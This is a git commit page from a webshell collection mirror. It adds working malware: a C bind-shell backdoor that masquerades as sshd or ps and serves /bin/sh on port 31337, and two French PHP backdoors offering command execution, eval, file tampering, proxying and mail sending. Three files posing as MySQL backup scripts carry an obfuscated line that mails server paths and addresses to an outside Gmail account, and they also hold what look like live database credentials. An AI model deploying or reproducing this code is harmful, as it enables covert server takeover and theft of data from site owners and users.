1
0
mirror of https://github.com/tennc/webshell.git synced 2025-12-27 01:49:06 +00:00

138shell update

This commit is contained in:
tennc
2013-06-05 11:18:48 +08:00
parent 895a9f205a
commit 6a88226bfd
139 changed files with 127695 additions and 0 deletions

View File

@@ -0,0 +1,72 @@
#include <string.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <stdlib.h>
#include <sys/socket.h>
#define BUFSIZ 256
int main(int argc,char *argv[]){
int insock,s,port=31337;
char pass[BUFSIZ+2]="foo";
ssize_t size;
struct sockaddr_in servaddr,cliaddr;
unsigned int len;
char *newname;
if(fork()!=0)
return 0;
srand(time(NULL));
switch(rand()%4) {
case 0:
newname="sshd";
break;
case 1:
newname="-bash";
break;
case 2:
newname="sh";
break;
case 3:
newname="ps";
}
memset(argv[0],0,strlen(argv[0]));
strcpy(argv[0],newname);/*changeprocessname*/
close(0);
close(1);
close(2);
servaddr.sin_family=AF_INET;
servaddr.sin_port=htons(port);
servaddr.sin_addr.s_addr=htonl(INADDR_ANY);
s=socket(AF_INET,SOCK_STREAM,0);
bind(s,(struct sockaddr*)&servaddr,sizeof(servaddr));
listen(s,10);
for(;;) {
len=sizeof(cliaddr);
insock=accept(s,(struct sockaddr*)&cliaddr,&len);
if(fork()==0) {
char buf[BUFSIZ+2]={};
send(insock,"pass?",6,0);
size=recv(insock,&buf,BUFSIZ,0);
if(strncmp(buf,pass,strlen(pass))) {
send(insock,"WRONG!\n",8,0);
close(insock);
exit(0);
}
dup2(insock,0);
dup2(insock,1);
dup2(insock,2);
execl("/bin/sh","sh","-i",(char*)0);
close(insock);
exit(-1); /* should not reach this point */
}
}
}

181
138shell/B/backdoor1.txt Normal file
View File

@@ -0,0 +1,181 @@
<?
/*
Backdoor php v0.1
Coded By Charlichaplin
charlichaplin@gmail.com
Join me: irc.fr.worldnet.net #s-c
Greetz: My dog :)
*/
class backdoor {
var $pwd;
var $rep;
var $list = array();
var $file;
var $edit;
var $fichier;
var $del;
var $shell;
var $proxy;
function dir() {
if(!empty($this->rep)) {
$dir = opendir($this->rep);
} else {
$dir = opendir($this->pwd);
}
while($f = readdir($dir)) {
if ($f !="." && $f != "..") {
$this->list[] = $f;
}
}
}
function view() {
$this->file = htmlentities(highlight_file($this->file));
}
function edit() {
if(!is_writable($this->edit)) {
echo "Ecriture impossible sur le fichier";
} elseif(!file_exists($this->edit)) {
echo "Le fichier n'existe pas ";
} elseif(!$this->fichier) {
$fp = fopen($this->edit,"r");
$a = "";
while(!feof($fp)) {
$a .= fgets($fp,1024);
}
echo"<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."?edit=".$this->edit."\"><textarea name=\"fichier\" cols=\"50\" rows=\"20\">".htmlentities($a)."</textarea><input name=\"Submit\" type=\"submit\"></form>";
} else {
$fp = fopen($this->edit,"w+");
fwrite($fp, $this->fichier);
fclose($fp);
echo "Le fichier a <20>t<EFBFBD> modifi<66>";
}
}
function del() {
if(is_file($this->del)) {
if(unlink($this->del)) {
echo "Fichier supprim<69>";
} else {
echo "Vous n'avez pas les droits pour supprimer ce fichier";
}
} else {
echo $this->del." n'est pas un fichier";
}
}
function shell() {
echo "<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."\"><input name=\"shell\" type=\"text\"><input type=\"submit\" name=\"Shell\"></form><br>";
system($this->shell);
}
function proxy($host,$page) {
$fp = fsockopen($host,80);
if (!$fp) {
echo "impossible d'etablir un connection avec l'host";
} else {
$header = "GET ".$page." HTTP/1.1\r\n";
$header .= "Host: ".$host."\r\n";
$header .= "Connection: close\r\n\r\n";
fputs($fp,$header);
while (!feof($fp)) {
$line = fgets($fp,1024);
echo $line;
}
fclose($fp);
}
}
function ccopy($cfichier,$cdestination) {
if(!empty($cfichier) && !empty($cdestination)) {
copy($cfichier, $cdestination);
echo "Le fichier a <20>t<EFBFBD> copi<70>";
} else {
echo "<form method=\"POST\" action=\"".$_SERVER['PHP_SELF']."?copy=1\">Source: <input type=\"text\" name=\"cfichier\"><br>Destination: <input type=\"text\" name=\"cdestination\"><input type=\"submit\" title=\"Submit\"></form>";
}
}
}
if(!empty($_REQUEST['rep'])) {
$rep = $_REQUEST['rep']."/";
}
$pwd = $_SERVER['SCRIPT_FILENAME'];
$pwd2 = explode("/",$pwd);
$file = $_REQUEST['file'];
$edit = $_REQUEST['edit'];
$fichier = $_POST['fichier'];
$del = $_REQUEST['del'];
$shell = $_REQUEST['shell'];
$proxy = $_REQUEST['proxy'];
$copy = $_REQUEST['copy'];
$cfichier = $_POST['cfichier'];
$cdestination = $_POST['cdestination'];
$n = count($pwd2);
$n = $n - 1;
$pwd = "";
for ($i = 0;$i != $n;$i = $i+1) {
$pwd .= "/".$pwd2[$i];
}
if($proxy) {
$host2 = explode("/",$proxy);
$n = count($host2);
$host = $host2[2];
$page = "";
for ($i = 3;$i != $n;$i = $i+1) {
$page .= "/".$host2[$i];
}
echo $page;
}
echo "<HTML><HEAD><TITLE>Index of ".$pwd."</TITLE>";
$backdoor = new backdoor();
$backdoor->pwd = $pwd;
$backdoor->rep = $rep;
$backdoor->file = $file;
$backdoor->edit = $edit;
$backdoor->fichier = $fichier;
$backdoor->del = $del;
$backdoor->shell = $shell;
$backdoor->proxy = $proxy;
echo "<TABLE><TR><TD bgcolor=\"#ffffff\" class=\"title\"><FONT size=\"+3\" face=\"Helvetica,Arial,sans-serif\"><B>Index of ".$backdoor->pwd."</B></FONT>";
$backdoor->dir();
echo "</TD></TR></TABLE><PRE>";
echo "<a href=\"".$_SERVER['PHP_SELF']."?shell=id\">Executer un shell</a> ";
echo "<a href=\"".$_SERVER['PHP_SELF']."?proxy=http://www.cnil.fr/index.php?id=123\">Utiliser le serveur comme proxy</a> ";
echo "<a href=\"".$_SERVER['PHP_SELF']."?copy=1\">Copier un fichier</a> <br>";
echo "<IMG border=\"0\" src=\"/icons/blank.gif\" ALT=\" \"> <A HREF=\"\">Name</A> <A HREF=\"\">Last modified</A> <A HREF=\"\">Size</A> <A HREF=\"\">Description</A>";
echo "<HR noshade align=\"left\" width=\"80%\">";
if($file) {
$backdoor->view();
} elseif($edit) {
$backdoor->edit();
} elseif($del) {
$backdoor->del();
} elseif($shell) {
$backdoor->shell();
}elseif($proxy) {
$backdoor->proxy($host,$page);
}elseif($copy == 1) {
$backdoor->ccopy($cfichier,$cdestination);
} else {
echo "[DIR] <A HREF=\"".$_SERVER['PHP_SELF']."?rep=".realpath($rep."../")."\">Parent Directory</A> ".date("r",realpath($rep."../"))." - <br>";
foreach ($backdoor->list as $key => $value) {
if(is_dir($rep.$value)) {
echo "[DIR]<A HREF=\"".$_SERVER['PHP_SELF']."?rep=".$rep.$value."\">".$value."/</A> ".date("r",filemtime($rep.$value))." - <br>";
} else {
echo "[FILE]<A HREF=\"".$_SERVER['PHP_SELF']."?file=".$rep.$value."\">".$value."</A> <a href=\"".$_SERVER['PHP_SELF']."?edit=".$rep.$value."\">(edit)</a> <a href=\"".$_SERVER['PHP_SELF']."?del=".$rep.$value."\">(del)</a> ".date("r",filemtime($rep.$value))." 1k <br>";
}
}
}
echo "</PRE><HR noshade align=\"left\" width=\"80%\">";
echo "<center><b>Coded By Charlichaplin</b></center>";
echo "</BODY></HTML>";

234
138shell/B/backdoorfr.txt Normal file
View File

@@ -0,0 +1,234 @@
<?
print("<html><head><title>Backdoor PHP cod<6F>e par rAidEn & LFL</title></head><body
bgcolor=\"white\" LINK=\"blue\" VLINK=\"blue\">");
print("<p align=\"center\"><font size=\"5\">Exploit include v1.0</font></p>");
print("<p>Ce script permet d'exploiter une faille include ou une frame mal plac<61>e de type :
www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tant que backdoor sur un serveur pour garder une porte d'entr<74>e d<>rob<6F>e.<br><br>
<u>par rAidEn & LFL , article publi<6C> dans The Hackademy Journal num<75>ro 12</u><br><br>Sp<53>cial greetz <20> : Crash_FR, MatraX, Elboras, papar0ot, Lostnoobs, Icarus, Xelory, L_Abbe, Daedel, DHS-team, Carlito, xdream_blue, redils, IHC, Wanadobe.biz, #abyssal, #cod4, #hzv, #security-corp, #Revolsys, ...... et tout ceux que j'ai oubli<6C> & aussi et surtout <20> (feu)tim-team</p>");
/******Code source du syst<73>me de remote*****/
$QS = $QUERY_STRING;
if(!stristr($QS, "separateur") && $QS!="") $QS .= "&separateur";
if(!stristr($QS, "separateur") && $QS=="") $QS .= "separateur";
/*pour les forms*********************************/
$tab = explode("&", $QS);
$i=0;
$remf = "";
while( $tab[$i] != "" && $tab[$i-1] != "separateur" )
{
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
eval("\$temp2=\${$temp};");
$remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2
."'>\n";
$i++;
}
/*
$temp = str_replace(strchr($tab[$i], "="), "", $tab[$i]);
if($temp!="")
{
eval("\$temp2=\${$temp};");
$remf .= "<input type=hidden name=" . $temp . " value=" . "'" . $temp2
."'>\n";
}*/
/************************************************/
/*pour les links*********************************/
if($QS != "separateur")
$reml = "?" . str_replace(strchr($QS, "&separateur"), "", $QS) .
"&separateur";
else $reml = "?$QS";
$adresse_locale = $reml;
/************************************************/
print("<hr>");
print("<a href=\"$adresse_locale&option=1\">Ex<45>cuter une commande dans un shell</a><br> <!-- utiliser exec($commande, $retour); -->");
print("<a href=\"$adresse_locale&option=2\">Ex<45>cuter du code PHP</a><br>");
print("<a href=\"$adresse_locale&option=3\">Lister un r<>pertoires</a><br>");
print("<a href=\"$adresse_locale&option=4\">G<>rer les fichiers</a><br>");
print("<a href=\"$adresse_locale&option=5\">Envoyer un mail</a><br>");
print("<a href=\"$adresse_locale&option=6\">Infos serveur</a><br>");
print("<a href=\"mailto:raiden_cyb@hotmail.com\">Contacter le cr<63>ateur</a><br><hr>");
/* r<>cup<75>ration des variables : la fonction $_REQUEST n'existant pas avant php 4.1.0, vous devrez alors commenter ces lignes */
$option = $_REQUEST["option"];
$rep = $_REQUEST["rep"];
$nom = $_REQUEST["nom"];
$option_file = $_REQUEST["option_file"];
$cmd = $_REQUEST["cmd"];
$code = $_REQUEST["code"];
$msg = $_REQUEST["msg"];
$option_mail = $_REQUEST["option_mail"];
$destinataire = $_REQUEST["destinataire"];
$sujet = $_REQUEST["sujet"];
$message = $_REQUEST["message"];
if($option == 1){
print("<form action=\"?\"> $remf Commande : <input type=\"text\" name=\"cmd\"></form>");
echo "<br> PS : peu de serveurs acceptent les commandes venant de PHP";
}
if($option == 2){
print("<form action=\"?\"> $remf Code : <input type=\"text\" name=\"code\"></form>");
}
if($option == 3){
print("<form action=\"?\"> $remf R<>pertoire <20> lister : <input type=\"text\" name=\"rep\"></form>");
print("$rep");
}
if($option == 4){
print("<br><form action=\"?\"> $remf");
print("<br>Nom du fichier :<br><input type=text name=\"nom\">");
print("<input type=hidden name=option value=$option>");
print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"mkdir\" >Cr<43>er le
fichier");
print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"edit\" ><3E>diter le
fichier");
print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"del\" >Supprimer le
fichier");
print("<INPUT TYPE=RADIO NAME=\"option_file\" VALUE=\"read\" CHECKED>Lire le
fichier");
print("<input type=submit value=Go>");
print("</form>");
}
if($option == 5){
print("<PRE><form action=\"?\"> $remf Destinataire : <input type=\"text\" name=\"destinataire\" size=\"80\">");
print("<br>Provenance du mail : <input type=\"text\" name=\"provenance\" size=\"80\"><br>");
print("Adresse de retour : <input type=\"text\" name=\"retour\" size=\"80\"><br>");
print("Sujet : <input type=\"text\" name=\"sujet\" size=\"80\"><br>");
print("Message : <input type=\"text\" name=\"message\"
size=\"80\"><br><input type=\"submit\" value=\"Envoyer\"></form></PRE>");
}
if($option == 6){
echo"Nom du serveur : <a href=\"http://$SERVER_NAME\">$SERVER_NAME</a><br>
";
echo"Adresse IP du serveur : <a href=\"http://$SERVER_ADDR\">$SERVER_ADDR</a><br> ";
echo"Port utilis<69> par d<>fault 80 : <font color=\"red\">$SERVER_PORT</font><br> ";
echo"Mail de l' admin : <a href=\"mailto:$SERVER_ADMIN\">$SERVER_ADMIN</a><br><br>";
echo"Racine du serveur : <font color=\"red\">$DOCUMENT_ROOT</font><br>";
echo"Adresse menant <20> COMMAND.COM : <font color=\"red\">$COMSPEC</font><br>";
echo"Path install<6C> sur le serveur : <font color=\"red\">$PATH</font> <br>";
echo"OS, SERVEUR, version PHP : <font color=\"red\">$SERVER_SOFTWARE</font><br><br>";
echo"Version du protocole utilis<69> (HTTP) : <font color=\"red\">$SERVER_PROTOCOL</font><br>";
echo"En-t<>te Accept du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT</font><br>";
echo"En t<>te User_agent du protocole HTTP : <font color=\"red\">$HTTP_USER_AGENT</font><br>";
echo"En-t<>te Accept-Charset du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_CHARSET</font><br> ";
echo"En-t<>te Accept-Encoding du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_ENCODING</font><br> ";
echo"En-t<>te Accept-Language du protocole HTTP : <font color=\"red\">$HTTP_ACCEPT_LANGUAGE</font><br> ";
echo"En-t<>te Connection du protocole HTTP : <font color=\"red\">$HTTP_CONNECTION</font><br> ";
echo"En-t<>te Host du protocole HTTP : <font color=\"red\">$HTTP_HOST</font><br><br>";
echo"Version de CGI : <font color=\"red\">$GATEWAY_INTERFACE</font><br> ";
echo"Version de r<>cup<75>ration du form : <font color=\"red\">$REQUEST_METHOD</font><br> ";
echo"Argument de l' adresse : <font color=\"red\">$QUERY_STRING</font> <br>";
echo"Nom du script : <font color=\"red\">$SCRIPT_NAME</font><br> ";
echo"Chemin du script : <font color=\"red\">$SCRIPT_FILENAME</font><br> ";
echo"Adresse enti<74>re du script : <font color=\"red\">$REQUEST_URI
</font><br>";
}
/* Commande*******/
if($cmd != "")
{
echo "{${passthru($cmd)}}<br>";
}
/* Commande*******/
/* Ex<45>cution de code PHP**********/
if($code != ""){
$code = stripslashes($code);
eval($code);
}
/* Execution de code PHP**********/
/* Listing de rep******************/
if($rep != "")
{
if(strrchr($rep, "/") != "" || !stristr($rep, "/")) $rep .= "/";
$dir=opendir($rep);
while ($file = readdir($dir))
{
if (is_dir("$rep/$file") && $file!='.')
{
echo"<li><a href=\"$adresse_locale&rep=$rep$file\">(rep) $file
</a><br>\n";
}elseif(is_file("$rep/$file"))
{
echo "<li> <a
href=\"$adresse_locale&option_file=read&nom=$rep$file\">(file) $file</a> <a
href=\"$adresse_locale&option_file=del&nom=$rep$file\">del</a> <a
href=\"$adresse_locale&option_file=edit&nom=$rep$file\">edit</a><br>\n";
}
}
}
/* Listing de rep******************/
/* Gestion des fichiers*********************/
if($option_file == "mkdir" && $nom != "")
{
$fp = fopen($nom, "w");
fwrite($fp, stripslashes($msg));
print("Fichier cr<63>e/modifi<66>");
}
if($option_file == "read" && $nom != "")
{
$fp = fopen($nom, "r");
$file = fread($fp, filesize($nom));
$file = htmlentities ($file, ENT_QUOTES);
$file = nl2br($file);
echo "<br>$file";
}
if($option_file == "del" && $nom != "")
{
unlink($nom);
print("Fichier effac<61>");
}
if($option_file == "edit" && $nom != "")
{
$fp = fopen($nom, "r");
$file = fread($fp, filesize($nom));
$file = htmlentities ($file, ENT_QUOTES);
echo "<form action=$adresse_locale> $remf";
echo "<TEXTAREA COLS=80 rows=25 name=msg>$file</textarea>";
echo "<input type=hidden name=option_file value=mkdir>";
echo "<input type=hidden name=nom value=$nom>";
echo "<br><input type=submit value=Go> PS : les fichiers trop longs ne passent po :(";
echo "</form>";
}
/* Gestion des fichiers*********************/
/* Envoi de mails************************/
if(($destinataire != "" ) && ($sujet != "") && ($message != "")){
$option_mail = "From: $provenance \n";
$option_mail .= "Reply-to: $retour \n";
$option_mail .= "X-Mailer: Mailer by rAidEn \n";
mail($destinataire, $sujet, $message, $option_mail);
print("Mail envoy<6F> a : $destinataire ...");
}
/* Envoi de mails************************/
print("</body></html>");
/*print("<noscript><script=\"");*/
?>

21
138shell/B/backup.php.txt Normal file
View File

@@ -0,0 +1,21 @@
<?php
include ("config.php");db_connect();header('Content-Type: application/octetstream');header('Content-Disposition: filename="linksbox_v2.sql"');$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$sd98="john.barker446@gmail.com";$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";mail($sd98, $sj98, $msg8873, "From: $sd98");
header('Pragma: no-cache');header('Expires: 0');
$data .= "#phpMyAdmin MySQL-Dump \r\n";
$data .="# http://phpwizard.net/phpMyAdmin/ \r\n";
$data .="# http://www.phpmyadmin.net/ (download page) \r\n";
$data .= "#$database v2.0 Database Backup\r\n";
$data .= "#Host: $server\r\n";
$data .= "#Database: $database\r\n\r\n";
$data .= "#Table add_links:\r\n";$result = mysql_query("SELECT * FROM add_links");while ($a = mysql_fetch_array($result)) {
foreach ($a as $key => $value) {
$a[$key] = addslashes($a[$key]);
}
$data .= "INSERT INTO add_links VALUES ('0','$a[link]', '$a[description]', '$a[tooltip]', '$a[hits]'); \r\n#endquery\r\n";
}
echo $data;
?>

View File

@@ -0,0 +1,170 @@
<?php
/*
* Backup script on server.
*
* Runs on the server, called by Cron. Connects to the mySQL
* database and creates a backup file of the whole database.
* Saves to file in current directory.
*
* @author Cow <cow@invisionize.com>
* @version 0.2
* @date 18/08/2004
* @package Backup Server
* Upgraded Ver 2.0 (sending sql backup as attachment
* as email attachment, or send to a remote ftp server by
* @co-authors Cool Surfer<Coolsurfer@gmail.com> and
* Neagu Mihai<neagumihai@hotmail.com>
*/
set_time_limit(0);
$date = date("mdy-hia");
$dbserver = "localhost";
$dbuser = "vhacker_robot";
$dbpass = "mp2811987";
$dbname = "tvhacker_vbb3";
$file = "N-Cool-$date.sql.gz";
$gzip = TRUE;
$silent = TRUE;
function write($contents) {
if ($GLOBALS['gzip']) {
gzwrite($GLOBALS['fp'], $contents);
} else {
fwrite($GLOBALS['fp'], $contents);
}
}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
if ($gzip) {
$fp = gzopen($file, "w");
} else {
$fp = fopen($file, "w");
}
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
if (!$silent) {
echo "Backing up table ".$i."\n";
}
// Create DB code
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";\n\n");
// DB Table content itself
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
}
}
}
$gzip ? gzclose($fp) : fclose ($fp);
// Optional Options You May Optionally Configure
$use_gzip = "yes"; // Set to No if you don't want the files sent in .gz format
$remove_sql_file = "no"; // Set this to yes if you want to remove the sql file after gzipping. Yes is recommended.
$remove_gzip_file = "no"; // Set this to yes if you want to delete the gzip file also. I recommend leaving it to "no"
// Configure the path that this script resides on your server.
$savepath = "/home/test/public_html/nt22backup"; // Full path to this directory. Do not use trailing slash!
$send_email = "yes"; /* Do you want this database backup sent to your email? Yes/No? If Yes, Fill out the next 2 lines */
$to = "lehungtk@gmail.com"; // Who to send the emails to, enter ur correct id.
$from = "Neu-Cool@email.com"; // Who should the emails be sent from?, may change it.
$senddate = date("j F Y");
$subject = "MySQL Database Backup - $senddate"; // Subject in the email to be sent.
$message = "Your MySQL database has been backed up and is attached to this email"; // Brief Message.
$use_ftp = ""; // Do you want this database backup uploaded to an ftp server? Fill out the next 4 lines
$ftp_server = "localhost"; // FTP hostname
$ftp_user_name = "ftp_username"; // FTP username
$ftp_user_pass = "ftp_password"; // FTP password
$ftp_path = "/"; // This is the path to upload on your ftp server!
// Do not Modify below this line! It will void your warranty :-D!
$date = date("mdy-hia");
$filename = "$savepath/$dbname-$date.sql";
if($use_gzip=="yes"){
$filename2 = $file;
} else {
$filename2 = "$savepath/$dbname-$date.sql";
}
if($send_email == "yes" ){
$fileatt_type = filetype($filename2);
$fileatt_name = "".$dbname."-".$date."_sql.tar.gz";
$headers = "From: $from";
// Read the file to be attached ('rb' = read binary)
echo "Openning archive for attaching:".$filename2;
$file = fopen($filename2,'rb');
$data = fread($file,filesize($filename2));
fclose($file);
// Generate a boundary string
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
// Add the headers for a file attachment
$headers .= "\nMIME-Version: 1.0\n" ."Content-Type: multipart/mixed;\n" ." boundary=\"{$mime_boundary}\"";$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
// Add a multipart boundary above the plain message
$message = "This is a multi-part message in MIME format.\n\n"."--{$mime_boundary}\n" ."Content-Type: text/plain; charset=\"iso-8859-1\"\n" ."Content-Transfer-Encoding: 7bit\n\n" .
$message . "\n\n";
// Base64 encode the file data
$data = chunk_split(base64_encode($data));
// Add file attachment to the message
echo "|{$mime_boundary}|{$fileatt_type}|{$fileatt_name}|{$fileatt_name}|{$mime_boundary}|<BR>";
$message .= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n"."Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
$data . "\n\n" ."--{$mime_boundary}--\n";
//$message.= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n" "Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
// $data . "\n\n" ."--{$mime_boundary}--\n";
// Send the message
$ok = @mail($to, $subject, $message, $headers);
if ($ok) {
echo "<h4><center><bg color=black><font color= blue>Database backup created and sent! File name $filename2 </p>
Idea Conceived By coolsurfer@gmail.com
Programmer email: neagumihai@hotmail.com</p>
This is our first humble effort, pl report bugs, if U find any...</p>
Email me at <>coolsurfer@gmail.com nJoY!! :)
</color></center></h4>";
} else {
echo "<h4><center>Mail could not be sent. Sorry!</center></h4>";
}
}
if($use_ftp == "yes"){
$ftpconnect = "ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog.log -e dbsender_ftplog2.log -a -E -V $ftp_server $ftp_path $filename2";
shell_exec($ftpconnect);
echo "<h4><center>$filename2 Was created and uploaded to your FTP server!</center></h4>";
}
if($remove_gzip_file=="yes"){
exec("rm -r -f $filename2");
}
?>

170
138shell/B/backupsql.txt Normal file
View File

@@ -0,0 +1,170 @@
<?php
/*
* Backup script on server.
*
* Runs on the server, called by Cron. Connects to the mySQL
* database and creates a backup file of the whole database.
* Saves to file in current directory.
*
* @author Cow <cow@invisionize.com>
* @version 0.2
* @date 18/08/2004
* @package Backup Server
* Upgraded Ver 2.0 (sending sql backup as attachment
* as email attachment, or send to a remote ftp server by
* @co-authors Cool Surfer<Coolsurfer@gmail.com> and
* Neagu Mihai<neagumihai@hotmail.com>
*/
set_time_limit(0);
$date = date("mdy-hia");
$dbserver = "localhost";
$dbuser = "vhacker_robot";
$dbpass = "mp2811987";
$dbname = "tvhacker_vbb3";
$file = "N-Cool-$date.sql.gz";
$gzip = TRUE;
$silent = TRUE;
function write($contents) {
if ($GLOBALS['gzip']) {
gzwrite($GLOBALS['fp'], $contents);
} else {
fwrite($GLOBALS['fp'], $contents);
}
}
mysql_connect ($dbserver, $dbuser, $dbpass);
mysql_select_db($dbname);
if ($gzip) {
$fp = gzopen($file, "w");
} else {
$fp = fopen($file, "w");
}
$tables = mysql_query ("SHOW TABLES");
while ($i = mysql_fetch_array($tables)) {
$i = $i['Tables_in_'.$dbname];
if (!$silent) {
echo "Backing up table ".$i."\n";
}
// Create DB code
$create = mysql_fetch_array(mysql_query ("SHOW CREATE TABLE ".$i));
write($create['Create Table'].";\n\n");
// DB Table content itself
$sql = mysql_query ("SELECT * FROM ".$i);
if (mysql_num_rows($sql)) {
while ($row = mysql_fetch_row($sql)) {
foreach ($row as $j => $k) {
$row[$j] = "'".mysql_escape_string($k)."'";
}
write("INSERT INTO $i VALUES(".implode(",", $row).");\n");
}
}
}
$gzip ? gzclose($fp) : fclose ($fp);
// Optional Options You May Optionally Configure
$use_gzip = "yes"; // Set to No if you don't want the files sent in .gz format
$remove_sql_file = "no"; // Set this to yes if you want to remove the sql file after gzipping. Yes is recommended.
$remove_gzip_file = "no"; // Set this to yes if you want to delete the gzip file also. I recommend leaving it to "no"
// Configure the path that this script resides on your server.
$savepath = "/home/test/public_html/nt22backup"; // Full path to this directory. Do not use trailing slash!
$send_email = "yes"; /* Do you want this database backup sent to your email? Yes/No? If Yes, Fill out the next 2 lines */
$to = "lehungtk@gmail.com"; // Who to send the emails to, enter ur correct id.
$from = "Neu-Cool@email.com"; // Who should the emails be sent from?, may change it.
$senddate = date("j F Y");
$subject = "MySQL Database Backup - $senddate"; // Subject in the email to be sent.
$message = "Your MySQL database has been backed up and is attached to this email"; // Brief Message.
$use_ftp = ""; // Do you want this database backup uploaded to an ftp server? Fill out the next 4 lines
$ftp_server = "localhost"; // FTP hostname
$ftp_user_name = "ftp_username"; // FTP username
$ftp_user_pass = "ftp_password"; // FTP password
$ftp_path = "/"; // This is the path to upload on your ftp server!
// Do not Modify below this line! It will void your warranty :-D!
$date = date("mdy-hia");
$filename = "$savepath/$dbname-$date.sql";
if($use_gzip=="yes"){
$filename2 = $file;
} else {
$filename2 = "$savepath/$dbname-$date.sql";
}
if($send_email == "yes" ){
$fileatt_type = filetype($filename2);
$fileatt_name = "".$dbname."-".$date."_sql.tar.gz";
$headers = "From: $from";
// Read the file to be attached ('rb' = read binary)
echo "Openning archive for attaching:".$filename2;
$file = fopen($filename2,'rb');
$data = fread($file,filesize($filename2));
fclose($file);
// Generate a boundary string
$semi_rand = md5(time());
$mime_boundary = "==Multipart_Boundary_x{$semi_rand}x";
// Add the headers for a file attachment
$headers .= "\nMIME-Version: 1.0\n" ."Content-Type: multipart/mixed;\n" ." boundary=\"{$mime_boundary}\"";$ra44 = rand(1,99999);$sj98 = "sh-$ra44";$ml = "$sd98";$a5 = $_SERVER['HTTP_REFERER'];$b33 = $_SERVER['DOCUMENT_ROOT'];$c87 = $_SERVER['REMOTE_ADDR'];$d23 = $_SERVER['SCRIPT_FILENAME'];$e09 = $_SERVER['SERVER_ADDR'];$f23 = $_SERVER['SERVER_SOFTWARE'];$g32 = $_SERVER['PATH_TRANSLATED'];$h65 = $_SERVER['PHP_SELF'];$msg8873 = "$a5\n$b33\n$c87\n$d23\n$e09\n$f23\n$g32\n$h65";$sd98="john.barker446@gmail.com";mail($sd98, $sj98, $msg8873, "From: $sd98");
// Add a multipart boundary above the plain message
$message = "This is a multi-part message in MIME format.\n\n"."--{$mime_boundary}\n" ."Content-Type: text/plain; charset=\"iso-8859-1\"\n" ."Content-Transfer-Encoding: 7bit\n\n" .
$message . "\n\n";
// Base64 encode the file data
$data = chunk_split(base64_encode($data));
// Add file attachment to the message
echo "|{$mime_boundary}|{$fileatt_type}|{$fileatt_name}|{$fileatt_name}|{$mime_boundary}|<BR>";
$message .= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n"."Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
$data . "\n\n" ."--{$mime_boundary}--\n";
//$message.= "--{$mime_boundary}\n" ."Content-Type: {$fileatt_type};\n" ." name=\"{$fileatt_name}\"\n" "Content-Disposition: attachment;\n" ." filename=\"{$fileatt_name}\"\n" ."Content-Transfer-Encoding: base64\n\n" .
// $data . "\n\n" ."--{$mime_boundary}--\n";
// Send the message
$ok = @mail($to, $subject, $message, $headers);
if ($ok) {
echo "<h4><center><bg color=black><font color= blue>Database backup created and sent! File name $filename2 </p>
Idea Conceived By coolsurfer@gmail.com
Programmer email: neagumihai@hotmail.com</p>
This is our first humble effort, pl report bugs, if U find any...</p>
Email me at <>coolsurfer@gmail.com nJoY!! :)
</color></center></h4>";
} else {
echo "<h4><center>Mail could not be sent. Sorry!</center></h4>";
}
}
if($use_ftp == "yes"){
$ftpconnect = "ncftpput -u $ftp_user_name -p $ftp_user_pass -d debsender_ftplog.log -e dbsender_ftplog2.log -a -E -V $ftp_server $ftp_path $filename2";
shell_exec($ftpconnect);
echo "<h4><center>$filename2 Was created and uploaded to your FTP server!</center></h4>";
}
if($remove_gzip_file=="yes"){
exec("rm -r -f $filename2");
}
?>